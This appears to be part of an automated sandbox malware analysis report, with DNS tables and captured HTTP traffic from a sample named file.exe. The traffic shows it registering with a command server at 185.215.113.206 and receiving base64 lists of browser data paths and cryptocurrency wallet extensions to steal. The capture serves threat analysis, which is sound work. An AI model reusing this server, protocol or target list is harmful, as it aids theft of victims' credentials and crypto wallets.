Oct 29, 2024 06:59:25.193247080 CET	192.168.2.5	1.1.1.1	0x2ed4	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Oct 29, 2024 06:59:25.202513933 CET	192.168.2.5	1.1.1.1	0x8718	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 06:59:25.202652931 CET	192.168.2.5	1.1.1.1	0x917c	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Oct 29, 2024 06:59:25.203908920 CET	192.168.2.5	1.1.1.1	0x1c41	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 06:59:25.204025984 CET	192.168.2.5	1.1.1.1	0x4d20	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Oct 29, 2024 06:59:25.219953060 CET	192.168.2.5	1.1.1.1	0xcf1	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 06:59:25.221050024 CET	192.168.2.5	1.1.1.1	0x2f8f	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Oct 29, 2024 06:59:25.447959900 CET	192.168.2.5	1.1.1.1	0x5265	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 06:59:25.448175907 CET	192.168.2.5	1.1.1.1	0xcee5	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Oct 29, 2024 06:59:25.448460102 CET	192.168.2.5	1.1.1.1	0x681d	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 06:59:25.448605061 CET	192.168.2.5	1.1.1.1	0x264b	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Oct 29, 2024 06:59:25.455173016 CET	192.168.2.5	1.1.1.1	0xc701	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 06:59:25.455504894 CET	192.168.2.5	1.1.1.1	0xab92	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 29, 2024 06:59:07.812932014 CET	1.1.1.1	192.168.2.5	0xc893	No error (0)	www.google.com		142.250.184.196	A (IP address)	IN (0x0001)	false
Oct 29, 2024 06:59:07.813086033 CET	1.1.1.1	192.168.2.5	0x82f4	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 29, 2024 06:59:11.791218042 CET	1.1.1.1	192.168.2.5	0xf280	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 06:59:11.791218042 CET	1.1.1.1	192.168.2.5	0xf280	No error (0)	plus.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Oct 29, 2024 06:59:11.792140961 CET	1.1.1.1	192.168.2.5	0x90ff	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 06:59:12.796067953 CET	1.1.1.1	192.168.2.5	0x28fd	No error (0)	play.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Oct 29, 2024 06:59:21.808892965 CET	1.1.1.1	192.168.2.5	0x1af1	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 06:59:21.808907032 CET	1.1.1.1	192.168.2.5	0xb8b5	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 06:59:21.810632944 CET	1.1.1.1	192.168.2.5	0xfa2	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 06:59:21.810632944 CET	1.1.1.1	192.168.2.5	0xfa2	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Oct 29, 2024 06:59:21.811454058 CET	1.1.1.1	192.168.2.5	0x5257	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 06:59:21.937057018 CET	1.1.1.1	192.168.2.5	0x2bca	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 06:59:21.937762022 CET	1.1.1.1	192.168.2.5	0xf8f3	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 06:59:22.328145981 CET	1.1.1.1	192.168.2.5	0x2a73	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 06:59:22.328717947 CET	1.1.1.1	192.168.2.5	0x129a	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 06:59:22.328717947 CET	1.1.1.1	192.168.2.5	0x129a	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Oct 29, 2024 06:59:23.684598923 CET	1.1.1.1	192.168.2.5	0x94fb	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 06:59:23.684750080 CET	1.1.1.1	192.168.2.5	0xe0bc	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 06:59:24.055882931 CET	1.1.1.1	192.168.2.5	0x859a	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 06:59:24.055882931 CET	1.1.1.1	192.168.2.5	0x859a	No error (0)	googlehosted.l.googleusercontent.com		142.250.185.193	A (IP address)	IN (0x0001)	false
Oct 29, 2024 06:59:24.056765079 CET	1.1.1.1	192.168.2.5	0xd5	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 06:59:25.197053909 CET	1.1.1.1	192.168.2.5	0x95ab	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Oct 29, 2024 06:59:25.197053909 CET	1.1.1.1	192.168.2.5	0x95ab	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Oct 29, 2024 06:59:25.197053909 CET	1.1.1.1	192.168.2.5	0x95ab	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Oct 29, 2024 06:59:25.197053909 CET	1.1.1.1	192.168.2.5	0x95ab	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Oct 29, 2024 06:59:25.209789038 CET	1.1.1.1	192.168.2.5	0x8718	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 06:59:25.210136890 CET	1.1.1.1	192.168.2.5	0x917c	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 06:59:25.211081028 CET	1.1.1.1	192.168.2.5	0x4d20	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 06:59:25.212366104 CET	1.1.1.1	192.168.2.5	0x1c41	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 06:59:25.227760077 CET	1.1.1.1	192.168.2.5	0xcf1	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 06:59:25.228044987 CET	1.1.1.1	192.168.2.5	0x2f8f	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 06:59:25.455384016 CET	1.1.1.1	192.168.2.5	0x5265	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 06:59:25.455384016 CET	1.1.1.1	192.168.2.5	0x5265	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 06:59:25.455447912 CET	1.1.1.1	192.168.2.5	0xcee5	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 29, 2024 06:59:25.455699921 CET	1.1.1.1	192.168.2.5	0x681d	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 06:59:25.455699921 CET	1.1.1.1	192.168.2.5	0x681d	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 06:59:25.455765963 CET	1.1.1.1	192.168.2.5	0x264b	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 29, 2024 06:59:25.462275028 CET	1.1.1.1	192.168.2.5	0xc701	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 06:59:25.462275028 CET	1.1.1.1	192.168.2.5	0xc701	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 06:59:25.463201046 CET	1.1.1.1	192.168.2.5	0xab92	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 29, 2024 06:59:25.666954994 CET	1.1.1.1	192.168.2.5	0x3af8	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 29, 2024 06:59:25.666954994 CET	1.1.1.1	192.168.2.5	0x3af8	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	1996	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 06:59:00.338948011 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 06:59:01.244549036 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 06:59:01.250622988 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCGIJDBAFCBAAKECGDGC Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 44 42 41 46 43 42 41 41 4b 45 43 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 46 41 43 32 31 32 31 46 41 31 41 32 34 34 37 37 37 31 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 44 42 41 46 43 42 41 41 4b 45 43 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 44 42 41 46 43 42 41 41 4b 45 43 47 44 47 43 2d 2d 0d 0a Data Ascii: ------FCGIJDBAFCBAAKECGDGCContent-Disposition: form-data; name="hwid"8FAC2121FA1A2447771074------FCGIJDBAFCBAAKECGDGCContent-Disposition: form-data; name="build"tale------FCGIJDBAFCBAAKECGDGC--
Oct 29, 2024 06:59:01.543787003 CET	407	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 32 56 6d 59 54 64 69 5a 6a 6b 34 59 57 49 32 4d 47 56 6c 4f 47 5a 6b 4d 6d 4e 6b 5a 6a 59 30 4e 6a 46 6d 59 32 45 7a 4f 57 55 31 4e 6a 56 68 4d 6a 64 6b 4e 44 55 7a 4e 32 4e 6c 59 6a 5a 6a 4d 47 5a 69 4d 7a 4a 6b 4d 32 51 34 5a 54 6b 35 4e 44 4d 32 5a 6d 51 7a 4d 54 45 34 4e 54 5a 6c 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: N2VmYTdiZjk4YWI2MGVlOGZkMmNkZjY0NjFmY2EzOWU1NjVhMjdkNDUzN2NlYjZjMGZiMzJkM2Q4ZTk5NDM2ZmQzMTE4NTZlfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 29, 2024 06:59:01.617501974 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHDHDHIECGCAEBFIIDHI Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 66 61 37 62 66 39 38 61 62 36 30 65 65 38 66 64 32 63 64 66 36 34 36 31 66 63 61 33 39 65 35 36 35 61 32 37 64 34 35 33 37 63 65 62 36 63 30 66 62 33 32 64 33 64 38 65 39 39 34 33 36 66 64 33 31 31 38 35 36 65 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 2d 2d 0d 0a Data Ascii: ------EHDHDHIECGCAEBFIIDHIContent-Disposition: form-data; name="token"7efa7bf98ab60ee8fd2cdf6461fca39e565a27d4537ceb6c0fb32d3d8e99436fd311856e------EHDHDHIECGCAEBFIIDHIContent-Disposition: form-data; name="message"browsers------EHDHDHIECGCAEBFIIDHI--
Oct 29, 2024 06:59:01.899965048 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2064 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 58 45 64 76 62 32 64 73 5a 56 78 63 51 32 68 79 62 32 31 6c 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4d 48 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 57 31 70 5a 32 39 38 58 45 46 74 61 57 64 76 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEdvb2dsZVxcQ2hyb21lXFxBcHBsaWNhdGlvblxcfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8MHxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8QW1pZ298XEFtaWdvXFVzZXIgRGF0YXxjaHJvbWV8MHwwfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfDB8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8JUxPQ0FMQVBQREFUQSVcXFZpdmFsZGlcXEFwcGxpY2F0aW9uXFx8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8MHxFcGljUHJpdmFjeUJyb3dzZXJ8XEVwaWMgUHJpdmFjeSBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8ZXBpYy5leGV8JUxPQ0FMQVBQREFUQSVcXEVwaWMgUHJpdmFjeSBCcm93c2VyXFxBcHBsaWNhdGlvblxcfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicm93c2VyLmV4ZXxDOlxcUHJvZ3JhbSBGaWxlc1xcQ29jQ29jXFxCcm93c2VyXFxBcHBsaWNhdGlvblxcfEJyYXZlfFxCcmF2ZVNvZnR3YXJlXEJyYXZlLUJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicmF2ZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEJyYXZlU29mdHdhcmVcXEJyYXZlLUJyb3dz
Oct 29, 2024 06:59:01.900120020 CET	1056	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXI
Oct 29, 2024 06:59:01.997697115 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKFHDBFIDAECAAAKEGDA Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 46 48 44 42 46 49 44 41 45 43 41 41 41 4b 45 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 66 61 37 62 66 39 38 61 62 36 30 65 65 38 66 64 32 63 64 66 36 34 36 31 66 63 61 33 39 65 35 36 35 61 32 37 64 34 35 33 37 63 65 62 36 63 30 66 62 33 32 64 33 64 38 65 39 39 34 33 36 66 64 33 31 31 38 35 36 65 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 48 44 42 46 49 44 41 45 43 41 41 41 4b 45 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 48 44 42 46 49 44 41 45 43 41 41 41 4b 45 47 44 41 2d 2d 0d 0a Data Ascii: ------AKFHDBFIDAECAAAKEGDAContent-Disposition: form-data; name="token"7efa7bf98ab60ee8fd2cdf6461fca39e565a27d4537ceb6c0fb32d3d8e99436fd311856e------AKFHDBFIDAECAAAKEGDAContent-Disposition: form-data; name="message"plugins------AKFHDBFIDAECAAAKEGDA--
Oct 29, 2024 06:59:02.279994965 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:02 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 29, 2024 06:59:02.280052900 CET	112	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtp
Oct 29, 2024 06:59:02.280090094 CET	1236	IN	Data Raw: 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 Data Ascii: cGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9
Oct 29, 2024 06:59:02.280139923 CET	212	IN	Data Raw: 61 6d 39 38 4d 58 77 77 66 44 42 38 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 Data Ascii: am98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8
Oct 29, 2024 06:59:02.280174971 CET	1236	IN	Data Raw: 56 47 56 36 51 6d 39 34 66 47 31 75 5a 6d 6c 6d 5a 57 5a 72 59 57 70 6e 62 32 5a 72 59 32 70 72 5a 57 31 70 5a 47 6c 68 5a 57 4e 76 59 32 35 72 61 6d 56 6f 66 44 46 38 4d 48 77 77 66 46 52 6c 62 58 42 73 5a 58 78 76 62 32 74 71 62 47 4a 72 61 57 Data Ascii: VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZvZGptfDF8MHwwfFJvbmluIFdhbGxldHxram1vb2hsZ29rY2NvZGljampmZWJmb21sYmxqZ2Zoa3w
